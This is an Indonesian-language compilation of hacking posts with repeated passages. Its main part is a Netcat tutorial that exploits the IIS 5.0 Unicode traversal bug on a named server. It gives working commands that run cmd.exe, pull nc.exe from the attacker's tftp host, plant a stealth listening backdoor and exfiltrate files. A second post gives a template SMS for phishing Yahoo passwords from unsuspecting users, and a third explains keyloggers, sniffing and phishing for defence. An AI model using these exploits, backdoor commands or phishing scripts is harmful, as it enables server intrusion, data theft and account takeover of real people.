target. Dalam contoh skenario kali ini, kita akan menyusup ke sebuah server web yang
menggunakan sistem operasi Windows 2000 dengan IIS 5.0. Untuk itu diperlukan pemahaman
mengenai sebuah bugs dari Microsoft IIS 5.0, yaitu unicode bugs, yang sampai saat ini masih
saja ada server web yang belum dipasang patch karena kelalaian atau ketidaktahuan sang
pengelola sistem.
Fokus kita bukan mengenai apa dan bagaimana bugs Microsoft tersebut, melainkan bagaimana
memanfaatkan Netcat untuk melakukan penyusupan dan bahkan download dokumen dari server
web. Perhatikan, semua dilakukan dengan satu tools, Netcat saja, walaupun bisa saja Anda
menggunakan tools-tools lainnya. Itu sebabnya Netcat disebut sebagai “TCP/IP Swiss Army
Knife”
Mari kita memulai dengan mencari server web yang menggunakan Microsoft Windows 2000
dengan IIS versi 5.0 sebagai berikut (sebagian akan menggunakan option dari netcat yang telah
dijelaskan di atas):
OK, terlihat server ristbook membuka port 80 yang ada diduga merupakan server web.
Selanjutnya Anda perlu menyelidiki, adakah server ristbook merupakan server web
menggunakan Microsoft dan IIS 4.0/5.0?
Aha, ternyata server tersebut merupakan server web yang menggunakan Microsoft dengan IIS
5.0. Selanjutnya kita akan menguji apakah server web ini sudah memasang patch dan terhindar
dari bugs unicode ?
Ooops, tampaknya pengelola sistemnya lalai dan belum dipasang patchnya untuk bugs unicode.
OK, Anda dapat melanjutkan langkah berikutnya dengan menyusupkan tools serba guna kita ke
dalam server web tersebut, ya, mengcopykan netcat ke dalam server tersebut ! Dengan
meletakkan tools serba guna Netcat pada server web, maka Anda dapat mengendalikan server
web tersebut dengan leluasa.
Salah satu cara menyusupkan netcat ke dalam ke dalam server web tersebut adalah
memanfaatkan service tftp (Trivial File Transfer Protocol). Anda dapat memerintahkan server
web target Anda untuk mengupload netcat dari tftp server yang terpasang di komputer Anda.
Untuk itu Anda harus mengaktifkan atau menginstall tftp server pada komputer Anda, jika
belum tersedia. Jika komputer Anda menggunakan sistem operasi Windows, Anda dapat
menginstall aplikasi freeware tftpd32 buatan Philippe Jounin (ph.jounin@computer.org) yang
dapat Anda download dari http://membres.lycos.fr/phjounin/ atau dari situs-sistus hacker
lainnya.
Selanjutnya Anda dapat mengaktifkan tftp server sebagai berikut:
Kemudian masukkan program Netcat yang akan Anda upload ke server web target ke dalam
direktori tftp dari komputer Anda yang telah diinstall tftp. Atau Anda dapat mengarahkan base
directory dari tftp ke direktori program Netcat Anda.
OK, sampai disini Anda telah menyiapkan tftp di komputer Anda yang di dalam base
directorinya berisi Netcat. Selanjutnya kita tak akan membahas lebih detail soal tftpd32, karena
kita akan memfokuskan pada pemanfaatan Netcat.
Langkah selanjutnya untuk mengupload Netcat ke server tujuan menggunakan instruksi Netcat,
sebagai berikut:
Langkah di atas adalah memerintahkan server web untuk mengupload nc.exe menggunakan
perintah tftp –i 128.1.99.25. IP 128.1.99.25 merupakan komputer Anda yang telah
terpasang tftp server.
Ya, program netcat.exe telah berhasil ditransfer ke server tujuan. Jika Anda menggunakan
tftpd32 pada komputer Anda, maka di layar tftp akan terlihat pesan transfer sukses sebagai
berikut:
Nah, dengan Netcat sudah terpasang diserver tujuan, Anda dapat dengan mudah mengendalikan
server tersebut !
Backdoor
Sudah menjadi kebiasaan para hacker apabila menyusup ke sebuah sistem senantiasa
meninggalkan backdoor. Dengan backdoor Anda dapat masuk dan keluar melalaui jalan pintas
tanpa harus melalui jalur yang semestinya.
Yang perlu Anda lakukan adalah mengaktifkan perintah Netcat yang telah Anda upload pada
server web di atas dengan perintah berikut ini:
Opsi –L merupakan mode listening, opsi –p menujukkan koneksi dilakukan via port 1001 dan
Anda dapat menggunakan port lainnya jika diperlukan untuk mengecoh firewall. Opsi
berikutnya yang sangat dahsyat adalah –d yaitu agar telnet dijalankan secara tersembunyi atau
stealth. Opsi terakhir –e akan mengeksekusi perintah command.exe untuk dipergunakan oleh
koneksi yang masuk.
Masih ingat bagaimana mengeksekusi perintah di atas pada server web
melalui komputer Anda ?
Netcat akan listening pada port 1001. Selanjutnya anda dapat mengakses backdoor dari
komputer Anda sebagai berikut:
Perhatikan pada saat perintah ipconfig yang pertama, menunjukkan nomor IP komputer
Anda, yaitu 128.1.99.25. Setelah dilakukan perintah nc –v ristbook 1001, Anda masuk ke
server web target. Perintah ipconfig memperlihatkan anda berada di dalam server web,
yaitu IP 128.1.71.103 dan 169.254.1.1 yang ternyata memiliki 2 IP address.
Cara yang sama dengan di atas adalah mengunakan telnet dengan port 1001 sebagai berikut:
Cara lain Transfer File
Jika Anda sudah berada di dalam sistem target, pasti Anda tertarik untuk mendownload data
dari sistem target ke komputer Anda atau sebaliknya mengupload data Anda ke sistem target.
Selain menggunakan tftp, Anda dapat melakukan dengan netcat sebagai berikut:
Pada server web target di atas ketikkan perintah:
Nc –l –p 55555 < namafile.pdf
Pada komputer Anda yang akan menerima file ketikkan perintah:
Nc –v 128.1.71.63 > namafile.pdf
NOTERIST [128.1.71.63] 55555 (?) open
^C
Tekan kontrol-C jika file telah selesai Anda transfer. Metode ini sering disebut metode pull. Jika
Anda ingin mengirim file atau upload data dari komputer Anda ke sistem target, maka yang
perlu dilakukan adalah sebagai berikut:
Pada server web target di atas ketikkan perintah:
Nc –l –p 55555 > namafile2.pdf
Pada komputer Anda yang akan mengirim atau upload file ke sistem target ketikkan perintah:
Nc 128.1.71.63 55555 < namafile2.pdf
^C
Masih banyak fasilitas lain yang dapat Anda coba sendiri dari netcat.
*NB :
Untuk keperluan hacking yang lebih spesifik, mungkin masih banyak tools yang dapat Anda
pakai selain netcat. Namun jika Anda harus megerjakan banyak hal dengan seminimal mungkin
tools, maka netcat pilihan yang tepat dan itu sebabnya Netcat disebut sebagai “TCP/IP Swiss
Army Knife”-nya para hacker.
Bagi pengelola sistem komputer, Anda perlu mewaspadai apabila ditemukan Netcat di dalam
server Anda! Beberapa Anti Virus mengidentifikasi Netcat sebagai “virus” yang perlu di
waspadai dan dikarantina.
Seperti juga pisau “Swiss Army”, di tangan orang yang tepat, tools ini akan sangat bermanfaat!
Reference :
• “Netcat – The Swiss Army Knife”, muts@secureIT.co.il
• Stuart McClure, Joel Scambray, George Kurtz "Hacking Exposed: Network Security Secrets
and Solutions", McGraw-Hill Professional Publishing, 2003.
• Tom Armstrong, “Netcat – TheTCP/IP Swiss Army Knife”, SANS Institute 2000-2002
• “Top 75 Security Tools”, Insecure.org,
salam all......
Saat ini Netcat telah tersedia tidak saja pada sistem operasi Unix dan Linux
pada sistem operasi Windows. Pada tutor kali ini saya menggunakan Netcat
dengan sistem operasi Window pada command line sama dengan perintah
yang terdapat pada Netcat dgn Unix.
Instalasi Netcat pada sistem operasi Windows sangat sederhana.
mendownload dari situs http://www.atstake.com/research/tools/netw
banyak situs hacker lainnya. Namun demikian Anda harus waspada jika dunlut dari
yang tidak Anda kenal betul, bisa jadi tools Netcat-nya sudah dimodifikas
yang dapat mengganggu sistem Anda
Kemudian Anda cukup melakukan unzip terhadap file yang telah Anda download
nc11nt.zip ke dalam sebuah direktori sebagai berikut:
Code:
C:\TMP\NETCAT> dir
Volume in drive C has no label.
Volume Serial Number is 141F-1208
Directory of C:\TMP\NETCAT
02/23/2003 05:03 PM <DIR> .
02/23/2003 05:03 PM <DIR> ..
11/03/1994 07:07 PM 4,765 GETOPT.H
01/04/1998 03:17 PM 69,081 NETCAT.C
01/03/1998 02:37 PM 59,392 NC.EXE
11/28/1997 02:48 PM 12,039 DOEXEC.C
11/28/1997 02:36 PM 544 MAKEFILE
11/06/1996 10:40 PM 22,784 GETOPT.C
07/09/1996 04:01 PM 7,283 GENERIC.H
02/06/1998 03:50 PM 61,780 HOBBIT.TXT
02/06/1998 05:53 PM 6,771 README.TXT
02/22/2000 11:24 AM 2,044 AVEXTRA.TXT
10 File(s) 246,483 bytes
2 Dir(s) 8,868,044,800 bytes free
C:\TMP\NETCAT>bila Anda perlu melakukan kompilasi ulang.
Memulai Netcat
Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa saja yang tersedia pada
Netcat. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui
option yang tersedia pada Netcat, cukup memanggil help-nya pada Dos prompt sebagai berikut:
Code:
C:\TMP\NETCAT> nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
C:\TMP\NETCAT>Code:
C:\> nc –opsi <host> <port>
Seperti juga pisau Swiss Army yang memiliki banyak mata pisau beraneka fungsi, maka Netcat
juga memiliki aneka fungsi yang dimiliki tools lainnya, salah satunya adalah “mata pisau” port
scanning
Walaupun tidak selengkap dan secanggih tools Nmap atau Supercan, Netcat dapat digunakan
untuk melihat port mana saja yang terbuka. Berikut ini contoh untuk memeriksa status port web
dari port 10 s./d port 140 dari situs web tertentu, sebagai berikut:
Code:
C:\TMP\NETCAT> nc -v -z server01 10-140 server01 [128.1.9.81] 139 (netbios-ssn) open server01 [128.1.9.81] 113 (auth) open server01 [128.1.9.81] 110 (pop3) open server01 [128.1.9.81] 98 (?) open server01 [128.1.9.81] 80 (http) open server01 [128.1.9.81] 79 (finger) open server01 [128.1.9.81] 25 (smtp) open server01 [128.1.9.81] 23 (telnet) open server01 [128.1.9.81] 21 (ftp) open C:\TMP\NETCAT> Perintah di atas akan melakukan scanning port 10 s/d 140 dari host server01 dengan address IP 128.1.9.81. Option –z merupakan option yang dipergunakan untuk melakukan scanning.
Salah satu cara mendapatkan informasi mengenai sistem operasi dan aplikasi yang dijalankan
oleh sebuah host adalah dengan melakukan banner grabbing atau membaca informasi yang ada
di dalam banner sebuah sistem.
Berikut ini kemampuan Netcat untuk mengambil header suatu situs web yang biasanya
menyimpan informasi penting sebagai berikut (Jangan lupa ketikkan “Get/HTTP” seperti
terlihat pada baris ke-6 dari contoh hasil di atas.)
Code:
C:\TMP\NETCAT> nc -v -n 128.1.71.103 80 (UNKNOWN) [128.1.71.103] 80 (?) open get http HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Sat, 11 Oct 2003 03:34:24 GMT Content-Type: text/html Content-Length: 87 <html><head><title>Error</title></head><body>The parameter is incorrect. </body> </html> C:\TMP\NETCAT>
punya nya pakdhe linus..
Penjelasan:
Penggunaan option –n diperlukan jika address yang Anda berikan adalah berupa nomor IP. Jika
berupa address internet, anda tidak memerlukan option –n tersebut. Port yang diuji adalah port
80.
Dari contoh di atas Anda dapat mengetahui bahwa sistem operasi yang dipergunakan adalah
Microsoft dengan IIS/5.0.
Perhatikan contoh berikutnya:
Code:
C:\TMP\NETCAT> nc -v www.moron.nl 80 www.moron.nl [85.17.231.219] 80 (http) open get/http <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>501 Method Not Implemented</TITLE> </HEAD><BODY> <H1>Method Not Implemented</H1> get/http to /index.html not supported.<P> Invalid method in request get/http<P> <HR> <ADDRESS>Apache/1.3.12 Server at www.moron.nl Port 80</ADDRESS> </BODY></HTML> C:\TMP\NETCAT>
nomor IP. Dari hasil di atas tidak terlihat sistem operasinya tetapi terlihat bahwa host tersebut
menggunakan Apache Versi 1.3.12.
Skenario Menyusup ke dalam Server Web!
Untuk menyusup ke dalam server web diperlukan beberapa langkah dan ketrampilan tersendiri.
Tidak saja ketrampilan menggunakan Netcat, tetapi juga pengetahuan kita mengenai sistem
target. Dalam contoh skenario kali ini, kita akan menyusup ke sebuah server web yang
menggunakan sistem operasi Windows 2000 dengan IIS 5.0. Untuk itu diperlukan pemahaman
mengenai sebuah bugs dari Microsoft IIS 5.0, yaitu unicode bugs, yang sampai saat ini masih
saja ada server web yang belum dipasang patch karena kelalaian atau ketidaktahuan sang
pengelola sistem.
Fokus kita bukan mengenai apa dan bagaimana bugs Microsoft tersebut, melainkan bagaimana
memanfaatkan Netcat untuk melakukan penyusupan dan bahkan download dokumen dari server
web. Perhatikan, semua dilakukan dengan satu tools, Netcat saja, walaupun bisa saja Anda
menggunakan tools-tools lainnya. Itu sebabnya Netcat disebut sebagai “TCP/IP Swiss Army
Knife”
Mari kita memulai dengan mencari server web yang menggunakan Microsoft Windows 2000
dengan IIS versi 5.0 sebagai berikut (sebagian akan menggunakan option dari netcat yang telah
dijelaskan di atas):
Code:
C:\TMP\NETCAT> nc -v -z ristbook 20-80 ristbook [128.1.71.103] 80 (http) open ristbook [128.1.71.103] 25 (smtp) open ristbook [128.1.71.103] 21 (ftp) open C:\TMP\NETCAT>
Selanjutnya Anda perlu menyelidiki, adakah server ristbook merupakan server web
menggunakan Microsoft dan IIS 4.0/5.0?
Code:
C:\TMP\NETCAT> nc -v ristbook 80 ristbook [128.1.71.103] 80 (http) open get http HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Sat, 11 Oct 2003 08:51:34 GMT Content-Type: text/html Content-Length: 87 <html><head><title>Error</title></head><body>The parameter is incorrect. </body> </html> C:\TMP\NETCAT>
5.0. Selanjutnya kita akan menguji apakah server web ini sudah memasang patch dan terhindar
dari bugs unicode ?
Code:
C:\TMP\NETCAT> nc -v ristbook 80
ristbook [128.1.71.103] 80 (http) open
get http://ristbook/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sat, 11 Oct 2003 09:06:52 GMT
Content-Type: application/octet-stream
Volume in drive C has no label.
Volume Serial Number is 0C42-12EA
Directory of c:\
09/17/2001 11:46a 1,012 FRUNLOG.TXT
09/17/2001 11:35a <DIR> WINDOWS
09/17/2001 11:58a <DIR> My Documents
09/17/2001 11:35a <DIR> Program Files
09/17/2001 12:43p <DIR> ATI
05/05/1999 09:20a 31,512 MAESTRO.COM
09/17/2001 12:50p 0 CONFIG.AGO
05/05/1999 09:20a 11,084 AECU.SYS
09/26/2003 08:35p 30 mstrinf.ini
09/17/2001 12:50p 0 AUTOEXEC.AGO
07/01/2003 07:22p <DIR> museum
06/06/2001 06:28a 1,071 my_cnf.bak
06/25/2002 07:35p 697 FRONTPG.LOG
08/29/2003 04:16p <DIR> NAV2001
08/29/2003 04:51p <DIR> ServicePack
01/28/2002 03:45p <DIR> HTML
06/17/2002 06:17p 22 autoexec.nav
09/19/2003 04:49p <DIR> denny
08/27/2003 06:38p 28,290 SCANDISK.LOG
04/05/2003 06:53a 967 command.PIF
06/09/2002 10:16p 442 SETUPXLG.TXT
10/05/2001 03:33p 40,923 c1605r-psn.txt
01/04/2002 12:20p <DIR> tmp
10/24/2001 02:32p <DIR> tms20
06/27/2001 11:57p 1,574 index.html.no
11/13/1998 01:23a 106,496 sqlsun.dll
01/28/2002 03:52p 289 sqlsunin.ini
09/26/2003 12:29p 157,817 winzip.log
01/28/2002 03:53p 85,526 Uninst.isu
12/13/2001 04:30p 317 Shortcut to cuteftp.exe.lnk
06/21/2002 10:34a <DIR> Acrobat3
01/22/2002 03:18p <DIR> My Received Files
01/28/2002 03:49p <DIR> LOG
07/30/2002 01:40p 34,565 atapi.exe
04/06/2003 06:41p 82 asoy.ftp
01/28/2002 03:45p <DIR> Upgrade
12/07/1999 07:00p 236,304 cmdkoe.exe
01/28/2002 03:45p <DIR> Install
06/25/2002 07:34p <DIR> Inetpub
07/05/2002 07:02p <DIR> Documentation
02/12/2002 01:28p 227,467 datacenter1.jpg
02/09/2002 03:29p 2,920 datacenterthumb.jpg
11/15/2001 03:07p 3,384 sqlnet.log
09/17/1999 06:38p 1,234 Table of Contents.htm
06/26/2002 03:22p <DIR> ftproot
26 File(s) 974,025 bytes
19 Dir(s) 119,435,264 bytes free
C:\TMP\NETCAT>OK, Anda dapat melanjutkan langkah berikutnya dengan menyusupkan tools serba guna kita ke
dalam server web tersebut, ya, mengcopykan netcat ke dalam server tersebut ! Dengan
meletakkan tools serba guna Netcat pada server web, maka Anda dapat mengendalikan server
web tersebut dengan leluasa.
Salah satu cara menyusupkan netcat ke dalam ke dalam server web tersebut adalah
memanfaatkan service tftp (Trivial File Transfer Protocol). Anda dapat memerintahkan server
web target Anda untuk mengupload netcat dari tftp server yang terpasang di komputer Anda.
Untuk itu Anda harus mengaktifkan atau menginstall tftp server pada komputer Anda, jika
belum tersedia. Jika komputer Anda menggunakan sistem operasi Windows, Anda dapat
menginstall aplikasi freeware tftpd32 buatan Philippe Jounin (ph.jounin@computer.org) yang
dapat Anda download dari http://membres.lycos.fr/phjounin/ atau dari situs-sistus hacker
lainnya.
Selanjutnya Anda dapat mengaktifkan tftp server sebagai berikut:
Kemudian masukkan program Netcat yang akan Anda upload ke server web target ke dalam
direktori tftp dari komputer Anda yang telah diinstall tftp. Atau Anda dapat mengarahkan base
directory dari tftp ke direktori program Netcat Anda.
OK, sampai disini Anda telah menyiapkan tftp di komputer Anda yang di dalam base
directorinya berisi Netcat. Selanjutnya kita tak akan membahas lebih detail soal tftpd32, karena
kita akan memfokuskan pada pemanfaatan Netcat.
Langkah selanjutnya untuk mengupload Netcat ke server tujuan menggunakan instruksi Netcat,
sebagai berikut:
Code:
C:\TMP\NETCAT> nc -v ristbook 80 ristbook [128.1.71.103] 80 (http) open get http://ristbook/scripts/..%255c../winnt/system32/cmd.exe?/c+tftp+-i+128.1.99 .25+get+nc.exe HTTP/1.1 502 Gateway Error Server: Microsoft-IIS/5.0 Date: Sun, 26 Oct 2003 11:00:54 GMT Content-Length: 215 Content-Type: text/html <head><title>Error in CGI Application</title></head> <body><h1>CGI Error</h1>The specified CGI application misbehaved by not returnin g a complete set of HTTP headers. The headers it did return are:<p><p><pre></pr e> C:\TMP\NETCAT>
perintah tftp –i 128.1.99.25. IP 128.1.99.25 merupakan komputer Anda yang telah
terpasang tftp server.
Ya, program netcat.exe telah berhasil ditransfer ke server tujuan. Jika Anda menggunakan
tftpd32 pada komputer Anda, maka di layar tftp akan terlihat pesan transfer sukses sebagai
berikut:
Nah, dengan Netcat sudah terpasang diserver tujuan, Anda dapat dengan mudah mengendalikan
server tersebut !
Backdoor
Sudah menjadi kebiasaan para hacker apabila menyusup ke sebuah sistem senantiasa
meninggalkan backdoor. Dengan backdoor Anda dapat masuk dan keluar melalaui jalan pintas
tanpa harus melalui jalur yang semestinya.
Yang perlu Anda lakukan adalah mengaktifkan perintah Netcat yang telah Anda upload pada
server web di atas dengan perintah berikut ini:
Code:
C:\NETCAT> nc –L –p 1001 –d –e cmd.exe C:\NETCAT>
Anda dapat menggunakan port lainnya jika diperlukan untuk mengecoh firewall. Opsi
berikutnya yang sangat dahsyat adalah –d yaitu agar telnet dijalankan secara tersembunyi atau
stealth. Opsi terakhir –e akan mengeksekusi perintah command.exe untuk dipergunakan oleh
koneksi yang masuk.
Masih ingat bagaimana mengeksekusi perintah di atas pada server web
melalui komputer Anda ?
Code:
C:\TMP\NETCAT> nc -v ristbook 80 ristbook [128.1.71.103] 80 (http) open get http://ristbook/scripts/..%255c../winnt/system32/cmd.exe?/c+nc+-L+-p+1001+- d+-e+cmd.exe
komputer Anda sebagai berikut:
Code:
C:\TMP\NETCAT> ipconfig (command menunjukkan nomor IP pada komputer Anda)
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 128.1.99.25
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 128.1.99.25
C:\TMP\NETCAT> nc -v ristbook 1001
ristbook [128.1.71.103] 1001 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
d:\inetpub\scripts> ipconfig (command menunjukkan nomor IP komputer saat ini)
ipconfig
Windows 2000 IP Configuration
Ethernet adapter Local Area Connection 3:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 169.254.1.1
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . :
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 128.1.71.103
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . :
D:\inetpub\scripts> dirAnda, yaitu 128.1.99.25. Setelah dilakukan perintah nc –v ristbook 1001, Anda masuk ke
server web target. Perintah ipconfig memperlihatkan anda berada di dalam server web,
yaitu IP 128.1.71.103 dan 169.254.1.1 yang ternyata memiliki 2 IP address.
Cara yang sama dengan di atas adalah mengunakan telnet dengan port 1001 sebagai berikut:
Code:
C:\> telnet ristbook 1001 Microsoft(R) Windows 98 (C)Copyright Microsoft Corp 1981-1999. C:\NETCAT> dir
Jika Anda sudah berada di dalam sistem target, pasti Anda tertarik untuk mendownload data
dari sistem target ke komputer Anda atau sebaliknya mengupload data Anda ke sistem target.
Selain menggunakan tftp, Anda dapat melakukan dengan netcat sebagai berikut:
Pada server web target di atas ketikkan perintah:
Nc –l –p 55555 < namafile.pdf
Pada komputer Anda yang akan menerima file ketikkan perintah:
Nc –v 128.1.71.63 > namafile.pdf
NOTERIST [128.1.71.63] 55555 (?) open
^C
Tekan kontrol-C jika file telah selesai Anda transfer. Metode ini sering disebut metode pull. Jika
Anda ingin mengirim file atau upload data dari komputer Anda ke sistem target, maka yang
perlu dilakukan adalah sebagai berikut:
Pada server web target di atas ketikkan perintah:
Nc –l –p 55555 > namafile2.pdf
Pada komputer Anda yang akan mengirim atau upload file ke sistem target ketikkan perintah:
Nc 128.1.71.63 55555 < namafile2.pdf
^C
Masih banyak fasilitas lain yang dapat Anda coba sendiri dari netcat.
*NB :
Untuk keperluan hacking yang lebih spesifik, mungkin masih banyak tools yang dapat Anda
pakai selain netcat. Namun jika Anda harus megerjakan banyak hal dengan seminimal mungkin
tools, maka netcat pilihan yang tepat dan itu sebabnya Netcat disebut sebagai “TCP/IP Swiss
Army Knife”-nya para hacker.
Bagi pengelola sistem komputer, Anda perlu mewaspadai apabila ditemukan Netcat di dalam
server Anda! Beberapa Anti Virus mengidentifikasi Netcat sebagai “virus” yang perlu di
waspadai dan dikarantina.
Seperti juga pisau “Swiss Army”, di tangan orang yang tepat, tools ini akan sangat bermanfaat!
Reference :
• “Netcat – The Swiss Army Knife”, muts@secureIT.co.il
• Stuart McClure, Joel Scambray, George Kurtz "Hacking Exposed: Network Security Secrets
and Solutions", McGraw-Hill Professional Publishing, 2003.
• Tom Armstrong, “Netcat – TheTCP/IP Swiss Army Knife”, SANS Institute 2000-2002
• “Top 75 Security Tools”, Insecure.org,
salam all......
Cara Unik Dapet Password Yahoo
Mungkin bagi yang dah tau trik ini bakalan ketawa ngakak… , atau malah belom coba sama sekali?
Jujur tehnik ini ditemukan pacar gua sendiri a.k.a chrno yang digunakannya untuk mendapatkan username dan password Facebook dari temen - temennya . Ngakak dah gua
Penasaran?
Sebenernya ini cara sederhana banget yaitu menggunakan jasa SMSnya YM… Gak tau cara kirim SMS pake YM? Google it…
Nah kalo perlu buat ID baru, misalkan "CS Yahoo" (Customer Service Yahoo) atau yang gak mencurigakan.
Langsung aja SMS minta verifikasi password or something, yang jelas ini butuh keahlian khusus. Karena YM menggunakan nomor seperti berikut "9246002" siapa yang curiga? Yang jelas bukan kalian loh. Kalian pasti curiga, nah cewek – cewek lugu di luar sana gimana?
Mungkin format smsnya kayak gini
Ketika dia reply dan cek inbox di YM kalian…
Nah kalo email dah dikuasai masa di dalamnya gak ada Facebook, dll
NB : Disarankan sang korban menggunakan email Yahoo bukan Gmail karena jasa SMS YM akan ada pemberitahuan terlebih dahulu. Dan bagi gua sendiri cara ini belom terlalu ampuh, mungkin kalian bisa membuat FAKE LOGIN terlebih dahulu dan isi SMSnya arahkan ke situ.
Semoga berguna…
Jujur tehnik ini ditemukan pacar gua sendiri a.k.a chrno yang digunakannya untuk mendapatkan username dan password Facebook dari temen - temennya . Ngakak dah gua
Penasaran?
Sebenernya ini cara sederhana banget yaitu menggunakan jasa SMSnya YM… Gak tau cara kirim SMS pake YM? Google it…
Nah kalo perlu buat ID baru, misalkan "CS Yahoo" (Customer Service Yahoo) atau yang gak mencurigakan.
Langsung aja SMS minta verifikasi password or something, yang jelas ini butuh keahlian khusus. Karena YM menggunakan nomor seperti berikut "9246002" siapa yang curiga? Yang jelas bukan kalian loh. Kalian pasti curiga, nah cewek – cewek lugu di luar sana gimana?
Mungkin format smsnya kayak gini
Code:
Dear : Blablabla diharapkan melakukan verifikasi email dan password email yahoo Anda untuk mencegah terjadinya pencurian password. Reply SMS ini dengan format Email dan Password
Nah kalo email dah dikuasai masa di dalamnya gak ada Facebook, dll
NB : Disarankan sang korban menggunakan email Yahoo bukan Gmail karena jasa SMS YM akan ada pemberitahuan terlebih dahulu. Dan bagi gua sendiri cara ini belom terlalu ampuh, mungkin kalian bisa membuat FAKE LOGIN terlebih dahulu dan isi SMSnya arahkan ke situ.
Semoga berguna…
Pembajakan Account Facebook dan Cara Mencegahnya
Beberapa hari ini media memberitakan tentang pencurian password akun facebook user di beberapa tempat baik di Indonesia maupun luar negeri. Para korban mengaku setelah log out terakhir kali dan keesokan harinya mencoba log in ternyata gagal mengakses dengan beberapa alasan seperti “password dan username tidak cocok” ataupun “akun tidak eksis”.
Di beberapa social networking lainnya, seperti twitter dan plurk sempat dilaporkan kejadian yang sama pernah terjadi. Username dan password tiba-tiba tidak cocok dikarenakan sesuatu hal, atau dapat kita ambil benang merah, password mereka ada yang mengganti.
Apakah ada suatu teknik cracking untuk membobol akun facebook antar individu? Jawabannya ada beberapa. Lalu pertanyaan selanjutnya adalah, apakah ada teknik untuk melumpuhkan akun facebook atau social networking lainnya?
Teknik yang terungkap untuk menyerang akun facebook beberapa waktu lalu adalah dengan membanjiri data pada server facebook dengan teknik DDOS atau biasa dikenal dengan Distributed Denial of Service sehingga server lumpuh selama beberapa jam seperti yang terjadi pada facebook dan twitter tahun 2009 oleh cracker dari Rusia. Kemungkinan seperti ini perlu kita waspadai.
*Keylogger*
Cara pertama menggunakan keylogger adalah cara yang sangat efektif bagi para cracker untuk mencuri password dari akun facebook anda. Dengan menginstall software dan atau hardware keylogger pada notebook maupun PC sasaran, maka otomatis segala bentuk ketukan pada keyboard maupun aktivitas browsing anda akan terekam dengan detail dan sistematis.
Sehingga jika anda mengetikan password dan username pada notebook atau PC yang telah dipasangi keylogger, anda dengan penuh kerelaan hati telah menyerahkan data pribadi sensitif tersebut pada orang yang memasangnya, karena keylogger ibarat kertas karbon yang akan membuat salinan tentang sesuatu yang ditulis diatasnya.
Keylogger biasanya dipasang oleh cracker pada terminal akses internet publik yang berbagi pakai seperti di warnet dan kampus. Maka berhati-hatilah ketika menggunakan akses seperti ini.
*Sniffing*
Teknik kedua adalah dengan menggunakan tools yang biasa digunakan sniffing seperti Cain and Abel pada area yang terkoneksi WiFi jadi tools tersebut memang “mencari aktifitas” pada laptop-laptop yang terkoneksi. Maka anda harus berhati-hati juga apabila sedang mobile dan mengakses HotSpot.
Pada prinsipnya akses wireless sangat mudah untuk diintip. Jangan begitu saja mempercayai SSID “Free WiFi atau Free HotSpot” saat anda scanning wireless network. Yang paling aman adalah bertanya pada pengelola HotSpot area tersebut apa SSID yang resmi? Kemudian setting akses wireless pada
notebook anda untuk tidak “auto connect” melainkan harus manual agar anda bisa meneliti terlebih dahulu.
Ketika anda melakukan akses dari jaringan WiFi HotSpot sebaiknya hindarkan transaksi pada situs yang kritis seperti e-banking, akses email, akun jejaring sosial dlsb. Browsing hal yang umum saja kecuali anda yakin benar bahwa tidak ada yang berusaha mengintip aktivitas anda dan jaringan tersebut bisa dipercaya.
Meskipun demikian, pastikan bahwa anda selalu akses dengan memilih mode secure connection yaitu menggunakan HTTPS yang biasanya ditandai dengan munculnya icon gembok terkunci pada browser anda. Dengan akses HTTPS ini maka antara anda dengan server layanan yang diakses telah dilindungi dengan enkripsi sehingga tidak mudah diintip oleh orang yang tidak berhak. Pastikan anda sudah masuk ke mode secure sebelum memasukkan username dan password atau PIN.
*Phishing*
Cara ketiga adalah dengan mengklik url yang diberikan oleh aplikasi facebook maupun via email yang mengatasnamakan facebook. Atau menjebak Anda dengan tawaran aplikasi asing pada facebook merupakan aplikasi yang lepas dari maintenance facebook sendiri.
Aplikasi tersebut dapat dibuat oleh siapa saja dan kapan saja dan random sifatnya. Untuk mencuri username dan password tersebut, biasanya korban disuruh mengakses link tersebut dan diperintahkan memberikan password dan usernamenya. Perhatikan contoh berikut:
Contoh 1:
Anda diminta untuk mengakses link tertentu:
http://www.facebook.com/l.php?u=http...f440ac31753781
Namun ketika Anda mengkliknya Anda harus log in dahulu di halaman tersebut, padahal Anda sebelumnya sudah log ini terlebih dahulu. Jangan pernah Anda masukan username ataupun password jika Anda menemui hal janggal seperti ini, karena dapat diindikasikan hal tersebut adalah phising dengan menggunakan fake log in facebook, perhatikan screenshoot di bawah:
<http://www.facebook.com/photo.php?pid=30756388&op=1&view=all&subj=38658593 2410&aid=-1&auser=0&oid=386585932410&id=1064919678>
